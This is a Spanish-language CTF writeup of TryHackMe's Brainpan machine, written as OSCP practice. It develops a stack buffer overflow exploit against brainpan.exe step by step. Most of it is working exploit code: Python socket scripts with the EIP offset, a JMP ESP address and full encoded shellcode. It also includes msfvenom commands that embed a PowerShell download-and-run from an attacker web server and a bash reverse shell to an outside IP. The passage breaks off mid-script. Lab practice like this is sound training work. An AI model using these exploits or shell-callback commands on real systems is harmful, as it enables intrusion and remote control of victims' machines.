Saltar al contenido

TryHackMe – Brainpan – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Brainpan 1 de TryHackMe. Es una máquina Linux, de nivel difícil pero que en realidad es bastante sencilla. Está basada en el desbordamiento del búfer de la pila (Stack Buffer Overflow).

Hace unos días que Offensive Security publicó un post que iba a cambiar el formato del examen de su famosa certificación OSCP (puedes leer el post aquí) y entre los cambios mas significativos está en que su tradicional máquina de Buffer Overflow a un sistema Windows va a ser devaluada e iba a dejar de ser una pregunta segura, es decir, puede aparecer o no.

En mi opinión, está maquina era un regalo pero con poca utilidad ya que este tipo de vulnerabilidad se da en sistemas de 32 bits, que cada vez son mas escasos, y el sistema operativo debía tener el DEP (Prevención de Ejecución de Datos) desactivado, algo que se tiene que hacer de forma manual por un administrador. Seguramente esta prueba seguirá siendo bastante común pero se extenderá a sistemas Linux (hasta ahora solo se daba en sistemas Windows) y, en los casos en los que aparezca, se conseguirá acceso como User en lugar de SYSTEM como se conseguía hasta ahora. Dicho esto, comienzo con la máquina.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP a velocidad T5 (insane).

nmap -p- -n --open -T5 10.10.194.119

En la máquina hay dos puertos abiertos. Escaneo los dos puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p9999,10000 -sC -sV 10.10.194.119
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-02 17:27 CET
Nmap scan report for 10.10.194.119
Host is up (0.046s latency).

PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.91%I=7%D=12/2%Time=61A8F3EF%P=x86_64-pc-linux-gnu%r(NU
SF:LL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|
SF:\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\
SF:x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x
SF:20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x
SF:20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x
SF:20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.19 seconds

Los dos servicios son Web servers por lo que accedo a ellos desde el navegador. En el puerto 9999 encuentro lo que parece una consola de acceso y en el 10000 una imagen.

Intento acceder al puerto 9999 por netcat pero al carecer de contraseña no consigo acceso.

nc -vn 192.168.71.141 9999

Hago un fuzzing de directorios en servidor del puerto 10000 y encuentro uno llamado /bin. Accedo a él y encuentro un binario llamado brainpan.exe.

wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.194.119:10000/FUZZ

Explotación

Es bastante raro encontrar un fichero con esta extensión en un sistema linux. Llevo el binario a una máquina windows y lo ejecuto desde una consola de administrador. El binario abre el puerto 9999 y queda a la espera.

brainpan.exe

Intento conectarme por netcat a este puerto y me aparece la misma consola de acceso que en la máquina de victima.

nc -vn 192.168.71.141 9999

Parece que habrá que explotar un Stack Buffer Overflow.

Para desarrollar el exploit, voy a detallar un paso a paso en un PoC. Ya he hecho esto anteriormente en la máquina buff de Hack The Box pero para no hacerlo igual voy a cambiar un par de cosas en la forma en la que se explota la vulnerabilidad.

PoC

En el OSCP, este ejercicio se realiza en una máquina de 32bits por lo qu ejecuto el binario como administrador en una máquina windows 7 con arquitectura x86 preparado para este ejercicio.

Abro Immunity Debugger y me «attacheo» (File > Attach) al proceso en ejecución.

Al atarme al proceso, Immunity Debugger se pone en modo pausa (Paused). Para arracantarlo solo tengo que darle al botón de play (arriba a la izquieda).

Este proceso lo estaré repitiendo constantemente durante la explotación, así que para ahorrar tiempo me referiré a él como proceso de arranque.

Para este ejercicio, Offensive Security entrega el exploit básico de explotación y se trabaja sobre él. Como solo hay un campo de entrada, puedo desarrollar el exploit inicial fácilmente.

#!/usr/bin/python

import socket
import signal
import pdb
import sys
import time

from pwn import *
from struct import pack

target = "192.168.71.141"

def code():

	buff = "A"*2500

	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,9999))
	s.send(buff)


if __name__ == '__main__':

	code()

Ejecuto este código en la máquina atacante y cuando vuelvo a la máquina de pruebas veo que brainpan.exe se ha parado por un error.

Veo los registros de Immunity Debugger y veo que los he sobrescrito con 41414141, que equivale a la letra A en hexadecimal.

El programa enviaba 2500 caracteres A a brainpan.exe. Al sobrepasar el tamaño del buffer definido para el programa, se sobrescribe el EIP y los caracteres enviados vuelven a subir al ESP (se produce un desbordamiento del buffer).

Dado que el EIP es el «puntero de instrucción extendido», es decir, apunta a la siguiente instrucción a ejecutar, necesito tomar el control de este para poder inyectar código malicioso.

Ya se que el buffer se desborda con 2500 caracteres pero necesito saber el número exacto de caracteres con los que se desborda el buffer para tomar el control de EIP. Creo una cadena de 2500 caracteres aleatorios con pattern_create y modifico el exploit con ella.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500
#!/usr/bin/python

import socket
import signal
import pdb
import sys
import time

from pwn import *
from struct import pack

target = "192.168.71.141"

def code():

	buff = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"

	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,9999))
	s.send(buff)


if __name__ == '__main__':

	code()

Inicio el proceso de arranque y vuelvo a ejecutar el exploit. En los registros de Immunity debugger puedo ver que ahora el EIP es 35724134, esto quiere decir que el EIP se sobrescribe en este valor (en este offset).

Para saber cual a que tamaño corresponde este offset utilizo el pattern_offset, que me indica que a partir del offset 524 puedo sobrescribir el EIP, es decir, que a partir de 524 caracteres A, ya puedo tomar el control del EIP.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134

Modifico el exploit de forma que primero envíe 524 caracteres A, luego 4 caracteres B y por último 100 caracteres C. De esta forma el EIP serán los 4 caracteres B y el ESP serán los caracteres C.

#!/usr/bin/python

import socket
import signal
import pdb
import sys
import time

from pwn import *
from struct import pack

target = "192.168.71.141"

def code():

	buff = "A"*524
	EIP = "B"*4
	basura = "C"*100


	BoF = buff + EIP + basura

	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,9999))
	s.send(BoF)


if __name__ == '__main__':

	code()

Inicio el proceso de arranque y vuelvo a ejecutar el exploit. En los registros de Immunity debugger puedo ver que ahora el EIP es 42424242 (que corresponde al carácter B en hexadecimal) y el ESP es 43 ( que corresponde al carácter C en hexadecimal).

Ya he tomado el control del EIP y ya puedo introducir código malicioso en el ESP, cuya dirección es 0x0022F930.

Al inyectar código malicioso, es bastante común que haya caracteres que el programa no logre interpretar (Badchars) y esto haga que el código malicioso no funcione pero, afortunadamente, se pueden calcular. Primero me creo un directorio de trabajo para Immunity debugger y luego, con la utilidad mona, le pido que muestre todos los caracteres en hexadecimal. (bytearray). Ejecuto los siguientes comandos (en la consola de Immunity debugger).

!mona config -set workingfolder C:\Users\XXXXXX\desktop\%p
!mona bytearray
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

También ha creado un directorio de trabajo en la ruta que le he indicado donde ha creado un fichero llamado bytearray.txt donde muestra esta misma información.

Para comprobar los badchar, voy a añadirlos todos al exploit (en la zona del ESP).

#!/usr/bin/python

import socket
import signal
import pdb
import sys
import time

from pwn import *
from struct import pack

target = "192.168.71.141"

def code():

	buff = "A"*524
	EIP = "B"*4
	badchars = (
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)


	BoF = buff + EIP + badchars

	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,9999))
	s.send(BoF)


if __name__ == '__main__':

	code()

Inicio el proceso de arranque y vuelvo a ejecutar el exploit. En los registros de Immunity debugger puedo ver que ahora el ESP esta en 0x0022F930. Con mona voy a comparar todos los caracteres de bytearry con los caracteres de la pila (que hay en el ESP) y se parará cuando haya uno que no esté (que será un badchar).

!mona compare -f C:\Users\XXXXX\desktop\brainpan\bytearray.bin -a 0022F930

Y salta como primer badchar el 00 (era de esperar). Vuelvo a generar el bytearray sin el \x00.

!mona bytearray -cpb "\x00"
#!/usr/bin/python

import socket
import signal
import pdb
import sys
import time

from pwn import *
from struct import pack

target = "192.168.71.141"

def code():

	buff = "A"*524
	EIP = "B"*4
	badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)


	BoF = buff + EIP + badchars

	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,9999))
	s.send(BoF)


if __name__ == '__main__':

	code()

Inicio el proceso de arranque y vuelvo a ejecutar el exploit. En los registros de Immunity debugger puedo ver que el ESP vuelve a estar en 0x0022F930. Comparo todos los caracteres de bytearry con los caracteres de la pila (que hay en el ESP) y se parará cuando haya uno que no esté (que será un badchar).

!mona compare -f C:\Users\XXXXX\desktop\brainpan\bytearray.bin -a 0022F930

Por lo que veo en la imagen anterior, no ha generado nada por lo que no hay mas badchars y el programa puede interpretar todos los caracteres restantes en hexadecimal.

Con msfvenom voy a generar un shellcode (dejando fuera los badchars), que lo añadiré al ESP, que me dé una shell reversa por TCP. A diferencia del que hice en la máquina buff, en lugar de conseguir directamente una shell reversa, el shellcode va a ejecutar el binario de powershell /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 (que yo llamo ps.ps1) desde una servidor web que yo he levantando.

msfvenom -p windows/exec CMD="powershell iex(New-Object Net.Webclient).downloadstring('http://192.168.71.135:8000/ps.ps1')" -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai -f python EXITFUNC=thread

En este punto ya desbordo el buffer, tengo el control del EIP y puedo inyectar código malicioso en el ESP pero para ellos tengo que hacer que el EIP salte al ESP. Para que el EIP salte al ESP tengo que hacer que el EIP apunte a una dirección donde se aplique un OPCODE (operation code) llamado JMP ESP.

Primero busco el operation code correspondiente a JMP ESP. Esto lo puedo hacer con la utilidad nasm_shell de metasploit.

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

omo veo en la imagen anterior, el opcode es FFE4.

Inicio el proceso de arranque y listo los módulos del programa con mona. El que hay señalado en la imagen me vale (brainpan.exe).

!mona modules

Ahora tengo que buscar el opcode dentro del fichero sin protecciones que he elegido. Esto lo puedo hacer con mona. Del resultado, tengo que elegir uno que tenga capacidad de ejecución.

!mona find -s "\xff\xe4" -m brainpan.exe

La imagen anterior me indica que hay uno en la ruta 0x311712f3. Para comprobarlo, pincho en la pestaña indicada, añado la dirección y pincho en OK.

Efectivamente en esa dirección tengo un JMP ESP.

Modifico el exploit añadiendo la dirección 0x311712f3 en el EIP para hacer el JMP ESP. Esta dirección está en formato little endian así que para que entienda la dirección tengo que ponerla al revés en el EIP: \xf3\x12\x17\x31.

Ahora me encuentro con el problema de que el shellcode que he añadido esta cifrado y si hago directamente el JMP ESP hacia el shellcode, el programa no va a saber interpretarlo. Anteriormente, esto lo he solucionado por insertando un par de NOPS entre el JMP ESP y el shellcode pero esta vez voy a hacer un desplazaimiento de la pila de 20 bytes, espacio suficiente para que se desencripte el shellcode. Para indicarle el salto, puedo calcular el código con  nasm_shell de metasploit.

nasm > sub esp,0x14

14 Hexadecimal = 20 Decimal

Como veo en la imagen anterior, el código es 83EC14. Esté código también está en formato little endian así que pongo el código como \x83\xEC\x14 y ya puedo dar por terminado el script.

#!/usr/bin/python

import socket
import signal
import pdb
import sys
import time

from pwn import *
from struct import pack

target = "192.168.71.141"

def code():

	buff = "A"*524
	EIP = "\xf3\x12\x17\x31"
	decod = "\x83\xEC\x14"
	shellcode = (
	"\xbf\xab\x28\x13\x98\xda\xd8\xd9\x74\x24\xf4\x58\x31"
"\xc9\xb1\x46\x31\x78\x13\x83\xe8\xfc\x03\x78\xa4\xca"
"\xe6\x64\x52\x88\x09\x95\xa2\xed\x80\x70\x93\x2d\xf6"
"\xf1\x83\x9d\x7c\x57\x2f\x55\xd0\x4c\xa4\x1b\xfd\x63"
"\x0d\x91\xdb\x4a\x8e\x8a\x18\xcc\x0c\xd1\x4c\x2e\x2d"
"\x1a\x81\x2f\x6a\x47\x68\x7d\x23\x03\xdf\x92\x40\x59"
"\xdc\x19\x1a\x4f\x64\xfd\xea\x6e\x45\x50\x61\x29\x45"
"\x52\xa6\x41\xcc\x4c\xab\x6c\x86\xe7\x1f\x1a\x19\x2e"
"\x6e\xe3\xb6\x0f\x5f\x16\xc6\x48\x67\xc9\xbd\xa0\x94"
"\x74\xc6\x76\xe7\xa2\x43\x6d\x4f\x20\xf3\x49\x6e\xe5"
"\x62\x19\x7c\x42\xe0\x45\x60\x55\x25\xfe\x9c\xde\xc8"
"\xd1\x15\xa4\xee\xf5\x7e\x7e\x8e\xac\xda\xd1\xaf\xaf"
"\x85\x8e\x15\xbb\x2b\xda\x27\xe6\x21\x1d\xb5\x9c\x07"
"\x1d\xc5\x9e\x37\x76\xf4\x15\xd8\x01\x09\xfc\x9d\xee"
"\xeb\xd5\xeb\x86\xb5\xbf\x56\xcb\x45\x6a\x94\xf2\xc5"
"\x9f\x64\x01\xd5\xd5\x61\x4d\x51\x05\x1b\xde\x34\x29"
"\x88\xdf\x1c\x59\x41\x57\xfa\xe8\xee\xff\x61\x61\x7c"
"\x20\x03\x1c\x04\x08\x9d\xbb\x83\x65\x6e\x26\x01\x13"
"\x13\xd2\xf5\x95\xb6\x6e\xdb\x7e\x5c\xed\x40\xed\xf7"
"\x94\xe8\x99\x2e\x79\x90\x0e\x46\xeb\x34\xbe\xc9\x97"
"\xb7\x34\x78\x31\x59\xd2\x54\xe6\xcd\x68\xd1\x98\x37"
"\xbe\x36\x68\x7e\xf2\x66\xbb\xb6\xca\x58\x8c\x87\x04"
"\x94\xc1\xd2\x62\xee\x15\x2c\xa3\x21\x26\x3f\xed\x4d"
"\xb5\x8e\xd6\x84\x39"
)


	BoF = buff + EIP + decod + shellcode

	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,9999))
	s.send(BoF)


if __name__ == '__main__':

	code()

Inicio el proceso de arranque, pongo un netcat a la escucha en la máquina atacante por el puerto 443 y vuelvo a ejecutar el exploit, consiguiendo una shell reversa.

Máquina Objetivo

Una vez desarrollado el exploit para la escalada de privilegios, ya puedo iniciar el proceso de explotación. La PoC se ha desarrollado en una máquina Windows y esta máquina es linux por lo que solamente tengo que cambiar el shellcode para obtener una consola en bash.

msfvenom -p linux/x86/exec CMD="/bin/bash -c 'bash -i >& /dev/tcp/10.8.176.128/443 0>&1'" -a x86 --platform linux -b "\x00" -e x86/shikata_ga_nai -f python EXITFUNC=thread

Añado este cambio al exploit, quedando de la siguiente forma.

#!/usr/bin/python

import socket
import signal
import pdb
import sys
import time

from pwn import *
from struct import pack

